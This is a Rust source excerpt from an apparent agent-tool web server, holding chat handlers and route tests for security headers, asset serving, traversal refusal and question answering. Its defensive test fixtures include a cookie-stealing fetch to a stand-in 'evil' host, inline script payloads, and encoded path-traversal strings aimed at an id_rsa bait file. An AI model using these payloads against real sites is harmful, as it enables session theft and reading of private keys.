3313#[serde(default, deny_unknown_fields)]
3314struct NewTalkTurn {
3315 text: String,
3316}
3317
3318async fn talk_say(
3330 State(ui): State<Arc<Ui>>,
3331 Path(id): Path<String>,
3332 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3333) -> ApiResult<(StatusCode, Json<TalkView>)> {
3334 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3335 if body.text.trim().is_empty() {
3336 return Err(ApiError::bad_request("say something"));
3337 }
3338
3339 let id = {
3340 let ui = Arc::clone(&ui);
3341 let asked = id.clone();
3342 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3343 };
3344 let _turn = ui.begin_talk_turn(&id)?;
3348
3349 let (talk, cfg) = {
3350 let ui = Arc::clone(&ui);
3351 let id = id.clone();
3352 blocking(move || {
3353 let talk = ui.talks.get(&id)?;
3354 let (cfg, _) = Config::discover(&talk.repo, None)?;
3355 Ok((talk, cfg))
3356 })
3357 .await?
3358 };
3359
3360 let talks = ui.talks.clone();
3361 let text = {
3362 let mut talk = talk.clone();
3363 let talks = talks.clone();
3364 let said = body.text.clone();
3365 blocking(move || Ok(talk::record(&mut talk, &talks, &said)?)).await?
3366 };
3367 let talk = {
3370 let ui = Arc::clone(&ui);
3371 let id = id.clone();
3372 blocking(move || Ok(ui.talks.get(&id)?)).await?
3373 };
3374 let queued = talk.clone();
3375 tokio::spawn(async move {
3376 let _turn = _turn;
3377 let mut talk = talk;
3378 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3379 tracing::warn!("talk {id} turn failed: {e:#}");
3382 }
3383 });
3384
3385 Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3387}
3388
3389async fn talk_close(
3391 State(ui): State<Arc<Ui>>,
3392 Path(id): Path<String>,
3393) -> ApiResult<Json<TalkView>> {
3394 blocking(move || {
3395 let id = resolve_talk(&ui.talks, &id)?;
3396 let mut talk = ui.talks.get(&id)?;
3397 talk::close(&mut talk, &ui.talks)?;
3398 Ok(Json(TalkView::from(talk)))
3399 })
3400 .await
3401}
3402
3403fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3405 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3406}
3407
3408async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3416 let repo = repo.to_path_buf();
3417 blocking(move || {
3418 let (cfg, _) = Config::discover(&repo, None)?;
3419 Ok(cfg)
3420 })
3421 .await
3422}
3423
3424fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3430 let mut hits = ids
3431 .into_iter()
3432 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3433 match (hits.next(), hits.next()) {
3434 (Some(one), None) => Ok(one),
3435 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3436 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3437 "`{prefix}` matches more than one {what}, including {a} and {b}"
3438 ))),
3439 }
3440}
3441
3442#[cfg(test)]
3443mod tests {
3444 use pretty_assertions::assert_eq;
3445 use serde_json::Value;
3446 use tempfile::TempDir;
3447 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3448
3449 use super::*;
3450 use crate::config::Config;
3451 use crate::queue::{Source, TaskStatus};
3452
3453 struct Fixture {
3459 home: TempDir,
3460 addr: SocketAddr,
3461 }
3462
3463 impl Fixture {
3464 async fn start() -> Self {
3465 Self::with_loop(launch_idle).await
3466 }
3467
3468 async fn with_loop(launch: Launch) -> Self {
3470 let home = TempDir::new().expect("temp home");
3471 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3472 Self { home, addr }
3473 }
3474
3475 async fn with_repo(repo: PathBuf) -> Self {
3479 let home = TempDir::new().expect("temp home");
3480 let addr = Self::serve(home.path(), repo, launch_idle).await;
3481 Self { home, addr }
3482 }
3483
3484 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3485 let queue = Queue::at(home.join("queue"));
3486 let runs = home.join("runs");
3487 std::fs::create_dir_all(&runs).expect("runs dir");
3488 let worktrees = home.join("wt").join("magi");
3489 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3490 let ui = Ui::new(
3491 queue,
3492 Questions::at(home.join("questions")),
3493 Chats::at(home.join("chats")),
3494 Talks::at(home.join("talks")),
3495 runs,
3496 home.to_path_buf(),
3497 repo,
3498 )
3499 .with_worktrees_root(worktrees)
3500 .with_launch(launch);
3501 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3502 .await
3503 .expect("bind loopback");
3504 let addr = listener.local_addr().expect("local addr");
3505 tokio::spawn(async move {
3506 let _ = axum::serve(listener, ui.router()).await;
3507 });
3508 addr
3509 }
3510
3511 fn queue(&self) -> Queue {
3512 Queue::at(self.home.path().join("queue"))
3513 }
3514
3515 fn questions(&self) -> Questions {
3516 Questions::at(self.home.path().join("questions"))
3517 }
3518
3519 fn chats(&self) -> Chats {
3520 Chats::at(self.home.path().join("chats"))
3521 }
3522
3523 fn talks(&self) -> Talks {
3524 Talks::at(self.home.path().join("talks"))
3525 }
3526
3527 fn runs(&self) -> PathBuf {
3528 self.home.path().join("runs")
3529 }
3530
3531 async fn get(&self, path: &str) -> Res {
3532 request(self.addr, "GET", path, None).await
3533 }
3534
3535 async fn head(&self, path: &str) -> Res {
3540 request(self.addr, "HEAD", path, None).await
3541 }
3542
3543 async fn post(&self, path: &str, body: Option<&str>) -> Res {
3544 request(self.addr, "POST", path, body).await
3545 }
3546
3547 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
3548 request_with(self.addr, "GET", path, None, extra).await
3549 }
3550
3551 async fn delete(&self, path: &str) -> Res {
3552 request(self.addr, "DELETE", path, None).await
3553 }
3554 }
3555
3556 struct Res {
3557 status: u16,
3558 headers: String,
3559 head: String,
3564 body: String,
3565 bytes: Vec<u8>,
3569 }
3570
3571 impl Res {
3572 fn json(&self) -> Value {
3573 serde_json::from_str(&self.body)
3574 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
3575 }
3576
3577 fn header(&self, name: &str) -> Option<&str> {
3579 self.head.lines().find_map(|line| {
3580 let (key, value) = line.split_once(':')?;
3581 key.trim()
3582 .eq_ignore_ascii_case(name)
3583 .then(|| value.trim_start().trim_end_matches('\r'))
3584 })
3585 }
3586 }
3587
3588 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3591 request_with(addr, method, path, body, &[]).await
3592 }
3593
3594 async fn request_with(
3598 addr: SocketAddr,
3599 method: &str,
3600 path: &str,
3601 body: Option<&str>,
3602 extra: &[(&str, &str)],
3603 ) -> Res {
3604 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3605 for (name, value) in extra {
3606 head.push_str(&format!("{name}: {value}\r\n"));
3607 }
3608 if let Some(body) = body {
3609 head.push_str("Content-Type: application/json\r\n");
3610 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3611 }
3612 head.push_str("\r\n");
3613 if let Some(body) = body {
3614 head.push_str(body);
3615 }
3616 let mut socket = tokio::net::TcpStream::connect(addr)
3617 .await
3618 .expect("connect to the test server");
3619 socket
3620 .write_all(head.as_bytes())
3621 .await
3622 .expect("write request");
3623 let mut raw = Vec::new();
3624 socket.read_to_end(&mut raw).await.expect("read response");
3625 let split = raw
3628 .windows(4)
3629 .position(|w| w == b"\r\n\r\n")
3630 .expect("a header block");
3631 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3632 let bytes = raw[split + 4..].to_vec();
3633 let status = head
3634 .lines()
3635 .next()
3636 .and_then(|line| line.split_whitespace().nth(1))
3637 .and_then(|code| code.parse().ok())
3638 .expect("a status line");
3639 Res {
3640 status,
3641 headers: head.to_lowercase(),
3642 head,
3643 body: String::from_utf8_lossy(&bytes).into_owned(),
3644 bytes,
3645 }
3646 }
3647
3648 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3650 let mut state = RunState::new(
3651 PathBuf::from("/repo/magi"),
3652 "main".to_owned(),
3653 "0123456789abcdef".to_owned(),
3654 "Add a web UI\n\nMobile first.".to_owned(),
3655 Config::default(),
3656 );
3657 state.id = id.to_owned();
3658 state.status = status;
3659 let dir = runs.join(id);
3660 std::fs::create_dir_all(&dir).expect("run dir");
3661 std::fs::write(
3662 dir.join("run.json"),
3663 serde_json::to_string_pretty(&state).expect("serialize run"),
3664 )
3665 .expect("write run.json");
3666 }
3667
3668 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3669 let body = serde_json::json!({
3670 "schema": 1,
3671 "pid": 4242,
3672 "started_at": Timestamp::now().to_string(),
3673 "updated_at": updated_at.to_string(),
3674 "idle": false,
3675 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3676 "completed": 7,
3677 "polls": 143,
3678 });
3679 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3680 }
3681
3682 fn launch_idle(
3692 _opts: daemon::Opts,
3693 stop: daemon::Stop,
3694 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3695 Box::pin(async move {
3696 while !stop.stopped() {
3697 tokio::time::sleep(Duration::from_millis(2)).await;
3698 }
3699 Ok(())
3700 })
3701 }
3702
3703 fn launch_broken(
3706 _opts: daemon::Opts,
3707 _stop: daemon::Stop,
3708 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3709 Box::pin(async {
3710 Err(anyhow::anyhow!(
3711 "publish the daemon status file: read-only file system"
3712 ))
3713 })
3714 }
3715
3716 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3723 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3724
3725 fn launch_knocking_on_the_way_out(
3732 _opts: daemon::Opts,
3733 stop: daemon::Stop,
3734 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3735 Box::pin(async move {
3736 while !stop.stopped() {
3737 tokio::time::sleep(Duration::from_millis(2)).await;
3738 }
3739 let addr = PARK_KNOCK
3740 .lock()
3741 .expect("park knock")
3742 .expect("the test set an address");
3743 let heard = request(addr, "GET", "/api/health", None).await.status;
3744 *PARK_HEARD.lock().expect("park heard") = Some(heard);
3745 Ok(())
3746 })
3747 }
3748
3749 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3757 for _ in 0..200 {
3758 let view = fx.get("/api/loop").await.json();
3759 if want(&view) {
3760 return view;
3761 }
3762 tokio::time::sleep(Duration::from_millis(10)).await;
3763 }
3764 panic!(
3765 "the loop never settled: {}",
3766 fx.get("/api/loop").await.json()
3767 );
3768 }
3769
3770 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3772 let store = fx.questions();
3773 let mut q = Question::new(
3774 "20260902-000000-beef".to_owned(),
3775 "implement".to_owned(),
3776 "impl-A".to_owned(),
3777 summary.to_owned(),
3778 "because it matters".to_owned(),
3779 choices.iter().map(|c| (*c).to_owned()).collect(),
3780 );
3781 store.put(&mut q).expect("put question");
3782 q.id
3783 }
3784
3785 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3791 let store = fx.questions();
3792 let mut q = Question::new(
3793 "20260902-000000-beef".to_owned(),
3794 "land".to_owned(),
3795 "fix".to_owned(),
3796 "Merge this?".to_owned(),
3797 "the diff is in the panel".to_owned(),
3798 vec!["merge".to_owned(), "hold".to_owned()],
3799 );
3800 let staging = fx.home.path().join("staging");
3803 std::fs::create_dir_all(&staging).expect("staging dir");
3804 let sources: Vec<PathBuf> = assets
3805 .iter()
3806 .map(|(name, bytes)| {
3807 let path = staging.join(name);
3808 std::fs::write(&path, bytes).expect("write staged asset");
3809 path
3810 })
3811 .collect();
3812 store
3813 .put_panel(&mut q, html, &sources)
3814 .expect("write the panel");
3815 store.put(&mut q).expect("put question");
3816 q.id
3817 }
3818
3819 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3827 let store = fx.chats();
3828 std::fs::create_dir_all(store.root()).expect("chats dir");
3829 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3830 .expect("serialize a seat");
3831 let body = serde_json::json!({
3832 "schema": 1,
3833 "id": id,
3834 "repo": "/repo/magi",
3835 "agent": "sonnet",
3836 "status": status,
3837 "turns": [
3838 { "who": "operator", "body": "rework the config loader",
3839 "at": Timestamp::now().to_string() },
3840 { "who": "agent", "body": "Which part is hurting?",
3841 "at": Timestamp::now().to_string() },
3842 ],
3843 "draft": draft,
3844 "task": Value::Null,
3845 "created_at": Timestamp::now().to_string(),
3846 "updated_at": Timestamp::now().to_string(),
3847 "seat": seat,
3848 });
3849 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3850 store.get(id).expect("the seeded chat has to be readable");
3853 id.to_owned()
3854 }
3855
3856 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
3859 let store = fx.talks();
3860 std::fs::create_dir_all(store.root()).expect("talks dir");
3861 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
3862 .expect("serialize a seat");
3863 let body = serde_json::json!({
3864 "schema": 1,
3865 "id": id,
3866 "repo": "/repo/magi",
3867 "agent": "mock",
3868 "status": status,
3869 "turns": [],
3870 "created_at": Timestamp::now().to_string(),
3871 "updated_at": Timestamp::now().to_string(),
3872 "seat": seat,
3873 });
3874 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
3875 store.get(id).expect("the seeded talk has to be readable");
3876 id.to_owned()
3877 }
3878
3879 fn good_draft() -> String {
3882 "# Rework the config loader\n\n\
3883 ## Why\n\n\
3884 It re-reads `magi.toml` on every lookup, so a run that asks for the \
3885 roster four hundred times pays four hundred parses of the same file.\n\n\
3886 ## What\n\n\
3887 Load the layers once when the run starts and hand the merged value \
3888 around. Nothing about the file format changes.\n\n\
3889 ## Acceptance criteria\n\n\
3890 - `Config::discover` is called exactly once per run.\n\
3891 - `cargo test` passes with no change to any existing assertion.\n"
3892 .to_owned()
3893 }
3894
3895 #[tokio::test]
3896 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3897 let fx = Fixture::start().await;
3898 let id = panel(
3899 &fx,
3900 "<h1>Merge?</h1><img src=\"diff.svg\">",
3901 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3902 );
3903
3904 for path in [
3905 format!("/api/questions/{id}/panel"),
3906 format!("/api/questions/{id}/asset/diff.svg"),
3907 ] {
3908 let res = fx.get(&path).await;
3909 assert_eq!(res.status, 200, "{path}: {}", res.body);
3910 assert_eq!(
3916 res.header("content-security-policy"),
3917 Some(
3918 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3919 font-src data:; base-uri 'none'; form-action 'none'; \
3920 frame-ancestors 'self'"
3921 ),
3922 "{path} is the only thing between a hostile panel and the tailnet"
3923 );
3924 assert_eq!(
3925 res.header("x-content-type-options"),
3926 Some("nosniff"),
3927 "{path}: a browser must not re-decide the type we sent"
3928 );
3929 assert_eq!(
3930 res.header("referrer-policy"),
3931 Some("no-referrer"),
3932 "{path}: a panel must not leak the question id off the machine"
3933 );
3934
3935 let pre = fx.head(&path).await;
3940 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3941 assert_eq!(
3942 pre.header("content-security-policy"),
3943 res.header("content-security-policy"),
3944 "{path}: the preflight carries the same policy"
3945 );
3946 assert_eq!(
3947 pre.header("content-type"),
3948 res.header("content-type"),
3949 "{path}: the preflight carries the same type"
3950 );
3951 }
3952 }
3953
3954 #[tokio::test]
3955 async fn a_panel_reaches_the_browser_byte_for_byte() {
3956 let fx = Fixture::start().await;
3957 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
3962 let id = panel(&fx, html, &[]);
3963
3964 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3965
3966 assert_eq!(res.status, 200);
3967 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3968 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3969 assert_eq!(
3970 res.header("content-disposition"),
3971 None,
3972 "the panel itself is rendered in the frame, not downloaded"
3973 );
3974 }
3975
3976 #[tokio::test]
3977 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3978 let fx = Fixture::start().await;
3979 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3980 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3981 let id = panel(
3982 &fx,
3983 "<img src=\"diff.svg\"><img src=\"shot.png\">",
3984 &[("diff.svg", svg), ("shot.png", png)],
3985 );
3986
3987 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3988 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3989
3990 assert_eq!(as_svg.status, 200);
3991 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3992 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3997
3998 assert_eq!(as_png.status, 200);
3999 assert_eq!(as_png.header("content-type"), Some("image/png"));
4000 assert_eq!(
4001 as_png.header("content-disposition"),
4002 None,
4003 "a raster image has no execution surface, so tapping it still shows it"
4004 );
4005 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4006 }
4007
4008 #[tokio::test]
4009 async fn an_html_asset_is_never_served_as_html() {
4010 let fx = Fixture::start().await;
4011 let id = panel(
4012 &fx,
4013 "<p>see the notes</p>",
4014 &[
4015 (
4016 "notes.html",
4017 b"<script>fetch('http://evil/'+document.cookie)</script>",
4018 ),
4019 ("hook.js", b"fetch('http://evil/')"),
4020 ("data.json", b"{}"),
4021 ("HEADLINE.TXT", b"plain"),
4022 ],
4023 );
4024
4025 for name in ["notes.html", "hook.js", "data.json"] {
4026 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4027 assert_eq!(res.status, 200, "{name}: {}", res.body);
4028 assert_eq!(
4033 res.header("content-type"),
4034 Some("application/octet-stream"),
4035 "{name} must not be a type the browser will execute or render"
4036 );
4037 }
4038 let txt = fx
4041 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4042 .await;
4043 assert_eq!(
4044 txt.header("content-type"),
4045 Some("text/plain; charset=utf-8")
4046 );
4047 }
4048
4049 #[tokio::test]
4050 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4051 let fx = Fixture::start().await;
4052 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4053 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4057
4058 for encoded in [
4065 "%2e%2e%2fid_rsa",
4066 "..%2fid_rsa",
4067 "..%5cid_rsa",
4068 "%2e%2e%5cid_rsa",
4069 "diff%00.svg",
4070 "..",
4071 ".hidden",
4072 "%2e%2e%2f%2e%2e%2fid_rsa",
4073 ] {
4074 let res = fx
4075 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4076 .await;
4077 assert_eq!(
4078 res.status, 400,
4079 "`{encoded}` has to be refused by name, not looked up: {}",
4080 res.body
4081 );
4082 assert!(res.json()["error"].is_string(), "{}", res.body);
4083 }
4084
4085 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4091 let res = fx
4092 .get(&format!("/api/questions/{id}/asset/{literal}"))
4093 .await;
4094 assert_eq!(
4095 res.status, 404,
4096 "`{literal}` must not match the asset route at all: {}",
4097 res.body
4098 );
4099 }
4100 }
4101
4102 #[tokio::test]
4103 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4104 let fx = Fixture::start().await;
4105 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4106 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4107
4108 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4112 assert_eq!(none.status, 404, "{}", none.body);
4113 assert!(none.json()["error"].is_string(), "{}", none.body);
4114 assert_eq!(
4115 fx.head(&format!("/api/questions/{plain}/panel"))
4116 .await
4117 .status,
4118 404,
4119 "the preflight is the only way the client can learn this"
4120 );
4121
4122 let missing = fx
4124 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4125 .await;
4126 assert_eq!(missing.status, 404, "{}", missing.body);
4127 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4128
4129 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4131 assert_eq!(
4132 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4133 404
4134 );
4135 }
4136
4137 #[tokio::test]
4138 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
4139 let fx = Fixture::start().await;
4140 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4141
4142 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
4143 interview(&fx, "20260903-014456-open", "open", None);
4144
4145 let listed = fx.get("/api/chats").await;
4146 assert_eq!(listed.status, 200, "{}", listed.body);
4147 let chats = listed.json();
4148 assert_eq!(chats.as_array().map(Vec::len), Some(2));
4149 assert_eq!(
4150 chats[0]["id"], "20260903-014456-open",
4151 "an unfinished interview is what the operator came back for: {chats}"
4152 );
4153 assert_eq!(chats[0]["status"], "open");
4154 assert_eq!(chats[0]["turns"][0]["who"], "operator");
4157 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
4158 assert_eq!(chats[1]["status"], "filed");
4159
4160 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
4163 }
4164
4165 #[tokio::test]
4166 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
4167 let fx = Fixture::start().await;
4168 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4169
4170 let full = fx.get(&format!("/api/chats/{id}")).await;
4171 assert_eq!(full.status, 200, "{}", full.body);
4172 assert_eq!(full.json()["id"], id);
4173 assert_eq!(full.json()["repo"], "/repo/magi");
4174
4175 let short = fx.get("/api/chats/ab12").await;
4177 assert_eq!(short.status, 200, "{}", short.body);
4178 assert_eq!(short.json()["id"], id);
4179
4180 let missing = fx.get("/api/chats/nosuchchat").await;
4181 assert_eq!(missing.status, 404, "{}", missing.body);
4182 assert!(
4183 missing.json()["error"]
4184 .as_str()
4185 .is_some_and(|e| e.contains("chat")),
4186 "the error names what was not found: {}",
4187 missing.body
4188 );
4189 }
4190
4191 #[tokio::test]
4192 async fn filing_a_bad_draft_reports_every_problem_at_once() {
4193 let fx = Fixture::start().await;
4194 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
4195
4196 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4197
4198 assert_eq!(res.status, 400, "{}", res.body);
4199 let problems = res.json()["problems"].clone();
4200 let problems = problems.as_array().expect("an array of problems");
4201 assert!(
4206 problems.len() > 1,
4207 "one round trip has to be enough to fix the draft: {}",
4208 res.body
4209 );
4210 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
4211 assert!(res.json()["error"].is_string(), "{}", res.body);
4212 assert!(
4213 fx.queue().list().is_empty(),
4214 "a refused draft must not reach the queue"
4215 );
4216
4217 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
4220 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
4221 assert_eq!(res.status, 400, "{}", res.body);
4222 assert_eq!(
4223 res.json()["problems"].as_array().map(Vec::len),
4224 Some(1),
4225 "{}",
4226 res.body
4227 );
4228 }
4229
4230 #[tokio::test]
4231 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
4232 let fx = Fixture::start().await;
4233 let draft = good_draft();
4234 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
4235
4236 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4237
4238 assert_eq!(res.status, 200, "{}", res.body);
4239 let task = res.json()["task"]
4240 .as_str()
4241 .unwrap_or_else(|| panic!("a task id: {}", res.body))
4242 .to_owned();
4243
4244 let queued = fx.queue().get(&task).expect("the task is on disk");
4247 assert_eq!(
4248 queued.instruction, draft,
4249 "the draft reaches the graph verbatim"
4250 );
4251 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
4252 assert_eq!(
4253 fx.get("/api/queue").await.json()[0]["id"],
4254 task,
4255 "the filed task is the listed one"
4256 );
4257
4258 let after = fx.get(&format!("/api/chats/{id}")).await.json();
4260 assert_eq!(after["task"], task);
4261 assert_eq!(after["status"], "filed");
4262 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4263 }
4264
4265 #[tokio::test]
4266 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
4267 let fx = Fixture::start().await;
4268 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4269 let ui = Ui::new(
4270 fx.queue(),
4271 fx.questions(),
4272 fx.chats(),
4273 fx.talks(),
4274 fx.runs(),
4275 fx.home.path().to_path_buf(),
4276 PathBuf::from("/repo/magi"),
4277 )
4278 .with_worktrees_root(fx.home.path().join("wt"));
4279
4280 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
4284 let second = ui.begin_turn(&id).expect_err("the second must be refused");
4285 assert_eq!(
4286 second.status,
4287 StatusCode::CONFLICT,
4288 "a double tap on a slow link must not append two half-turns"
4289 );
4290
4291 drop(first);
4295 assert!(
4296 ui.begin_turn(&id).is_ok(),
4297 "the slot has to come back on its own"
4298 );
4299 }
4300
4301 #[tokio::test]
4302 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
4303 let fx = Fixture::start().await;
4304 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4305
4306 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
4309 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
4310 assert_eq!(res.status, 400, "{body}: {}", res.body);
4311 }
4312 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
4313 assert_eq!(res.status, 400, "{}", res.body);
4314
4315 assert_eq!(
4316 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
4317 .as_array()
4318 .map(Vec::len),
4319 Some(2),
4320 "nothing above may have appended a turn"
4321 );
4322 }
4323
4324 #[tokio::test]
4325 async fn a_run_with_an_open_question_reads_as_waiting() {
4326 let fx = Fixture::start().await;
4327 let run = "20260902-000000-beef".to_owned();
4328 write_run(&fx.runs(), &run, RunStatus::Implementing);
4329
4330 let before = fx.get("/api/runs").await.json();
4331 assert_eq!(before[0]["waiting"], false, "{before}");
4332
4333 let store = fx.questions();
4334 let mut q = Question::new(
4335 run.clone(),
4336 "implement".to_owned(),
4337 "impl-A".to_owned(),
4338 "Which backend?".to_owned(),
4339 String::new(),
4340 vec!["SQLite".to_owned()],
4341 );
4342 store.put(&mut q).expect("put");
4343
4344 let during = fx.get("/api/runs").await.json();
4345 assert_eq!(during[0]["waiting"], true, "{during}");
4346
4347 q.answer(Answer::Choice("SQLite".to_owned()))
4350 .expect("answer");
4351 store.put(&mut q).expect("put");
4352 let after = fx.get("/api/runs").await.json();
4353 assert_eq!(after[0]["waiting"], false, "{after}");
4354 }
4355
4356 #[tokio::test]
4357 async fn an_open_question_is_listed_and_counted_by_health() {
4358 let fx = Fixture::start().await;
4359 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4360
4361 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4362 let listed = fx.get("/api/questions").await.json();
4363 assert_eq!(listed.as_array().expect("array").len(), 1);
4364 assert_eq!(listed[0]["id"], id);
4365 assert_eq!(listed[0]["status"], "open");
4366 assert_eq!(listed[0]["choices"][1], "Redis");
4367 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4370 }
4371
4372 #[tokio::test]
4373 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4374 let fx = Fixture::start().await;
4375 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4376 let path = format!("/api/questions/{id}/answer");
4377
4378 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4379 assert_eq!(res.status, 200, "{}", res.body);
4380 let body = res.json();
4381 assert_eq!(body["status"], "answered");
4382 assert_eq!(body["answer"]["choice"], "Redis");
4383
4384 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4388 assert_eq!(again.status, 409, "{}", again.body);
4389 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4390 }
4391
4392 #[tokio::test]
4393 async fn an_answer_the_question_does_not_offer_is_refused() {
4394 let fx = Fixture::start().await;
4395 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4396 let path = format!("/api/questions/{id}/answer");
4397
4398 for body in [
4399 r#"{"choice":"Postgres"}"#,
4400 r#"{"text":"whatever you think"}"#,
4401 r#"{"choice":"Redis","text":"both"}"#,
4402 r#"{}"#,
4403 ] {
4404 let res = fx.post(&path, Some(body)).await;
4405 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4406 assert!(res.json()["error"].is_string(), "{}", res.body);
4407 }
4408 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4410 }
4411
4412 #[tokio::test]
4413 async fn a_free_text_question_takes_text_and_not_a_choice() {
4414 let fx = Fixture::start().await;
4415 let id = ask(&fx, "What should the flag be called?", &[]);
4416 let path = format!("/api/questions/{id}/answer");
4417
4418 assert_eq!(
4419 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4420 400
4421 );
4422 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4423 assert_eq!(res.status, 200, "{}", res.body);
4424 assert_eq!(res.json()["answer"]["text"], "--json");
4425 }
4426
4427 #[tokio::test]
4428 async fn an_unknown_question_is_a_json_404() {
